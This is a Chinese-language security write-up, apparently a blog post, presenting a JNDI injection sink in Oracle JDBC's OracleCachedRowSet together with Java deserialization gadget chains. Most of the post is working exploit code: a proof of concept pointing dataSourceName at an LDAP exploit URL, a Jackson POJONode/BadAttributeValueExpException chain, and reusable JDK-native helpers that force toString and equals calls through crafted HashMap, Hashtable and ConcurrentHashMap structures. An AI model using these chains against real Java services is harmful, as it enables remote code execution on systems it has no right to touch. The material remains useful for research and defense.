首发先知 https://xz.aliyun.com/t/14732
0x01 起因
tj哥在调试某1day时,想找其他的触发点,最后找到了oracle数据库的jndi。
0x02 分析
OracleCachedRowSet#getConnectionInternal

这里直接new了一个InitialContext

然后进行了lookup,然后触发。
oracle.jdbc.rowset.OracleRowSet#getDataSourceName

可以看到是直接获取这个属性。可控。

抽象类,可序列化

oracle.jdbc.rowset.OracleCachedRowSet#getConnection 这个方法直接调用。
那种想到需要触发OracleCachedRowSet的getter()方法就能触发。
0x03 复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import oracle.jdbc.rowset.OracleCachedRowSet;
import java.lang.reflect.Field;
public class Oracle { public static void main(String[] args) throws Exception{ OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1:1389/remoteExploit8"); oracleCachedRowSet.getConnection(); } }
|

日常jndi招呼计算器。
0x04 gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package test;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field; import java.util.Vector;
public class Oracle { public static void main(String[] args) throws Exception { try { ClassPool pool1 = ClassPool.getDefault(); CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { }
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
Field dataSourceName_1 = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName"); dataSourceName_1.setAccessible(true); dataSourceName_1.set(oracleCachedRowSet, "ldap://127.0.0.1:1389/remoteExploit8"); Vector v1 = new Vector(); v1.add(0, "111"); Vector v2 = new Vector(); v2.add(0, "222"); utils.setFieldValue(oracleCachedRowSet, "metaData", new String[]{"111", "222"}); utils.setFieldValue(oracleCachedRowSet, "matchColumnNames", v1); utils.setFieldValue(oracleCachedRowSet, "matchColumnIndexes", v2); utils.setFieldValue(oracleCachedRowSet, "monitorLock", null);
POJONode node = new POJONode(oracleCachedRowSet); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); utils.setFieldValue(badAttributeValueExpException, "val", node); byte[] serialize = utils.serialize(badAttributeValueExpException); utils.unserialize(serialize);
} }
|

招呼计算器成功
0x05 jdk原生gadget
那要是常见触发tostring的类(若badAttributeValueExpException)被搬掉了,没别的依赖。
所以现在需要找一条新的tostring。
javax.swing.UIDefaults.TextAndMnemonicHashMap

可以看到是map,然后调用了key的tostring,非常完美。
java.util.AbstractMap#equals

m是一个map,改成javax.swing.UIDefaults.TextAndMnemonicHashMap就可以走通,非常合理,java.util.AbstractMap是一个抽象类,所以我们只要找一个继承它又没有实现equals的方法就行了,感觉非常多了,haspmap,hashtable都可以。
hashtable触发tostring
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static Hashtable makeTableTstring(Object o) throws Exception{ Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); tHashMap1.put(o,"Unam4"); tHashMap2.put(o,"SpringKill"); setFieldValue(tHashMap1,"loadFactor",1); setFieldValue(tHashMap2,"loadFactor",1);
Hashtable hashtable = new Hashtable(); hashtable.put(tHashMap1,"Unam4"); hashtable.put(tHashMap2,"SpringKill");
tHashMap1.put(o, null); tHashMap2.put(o, null); return hashtable; }
|
hashmap触发tostring
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static HashMap maskmapToString(Object o1, Object o2) throws Exception{ Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); tHashMap1.put(o1,null); tHashMap2.put(o2,null); setFieldValue(tHashMap1,"loadFactor",1); setFieldValue(tHashMap2,"loadFactor",1); HashMap hashMap = new HashMap(); Class node = Class.forName("java.util.HashMap$Node"); Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, tHashMap1, null, null); Object node2 = constructor.newInstance(0, tHashMap2, null, null); utils.setFieldValue(hashMap, "size", 2); Object arr = Array.newInstance(node, 2); Array.set(arr, 0, node1); Array.set(arr, 1, node2); utils.setFieldValue(hashMap, "table", arr); return hashMap; }
|
Hashtable触发equals
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static Hashtable makeTable(Object o, Object o2) throws Exception{
Hashtable hashtable = new Hashtable(); utils.setFieldValue(hashtable,"count",2); Class<?> nodeC; nodeC = Class.forName("java.util.Hashtable$Entry");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, o, "Unam4", null)); Array.set(tbl, 1, nodeCons.newInstance(0, o2, "Springkill", null)); utils.setFieldValue(hashtable, "table", tbl); return hashtable; }
|
HashMap 触发equals
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static HashMap<Object, Object> makeMap(Object o, Object o2) throws Exception { HashMap<Object, Object> s = new HashMap<>(); utils.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, o, "key1", null)); Array.set(tbl, 1, nodeCons.newInstance(0, o2, "key2", null)); utils.setFieldValue(s, "table", tbl); return s; }
|
ConcurrentHashMap触发equals
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static ConcurrentHashMap<Object, Object> makeConcurrentMap(Object o, Object o2) throws Exception { ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap<>(); utils.setFieldValue(s, "sizeCtl", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, o, "zZ", null)); Array.set(tbl, 1, nodeCons.newInstance(0, o2, "yy", null)); utils.setFieldValue(s, "table", tbl); return s; }
|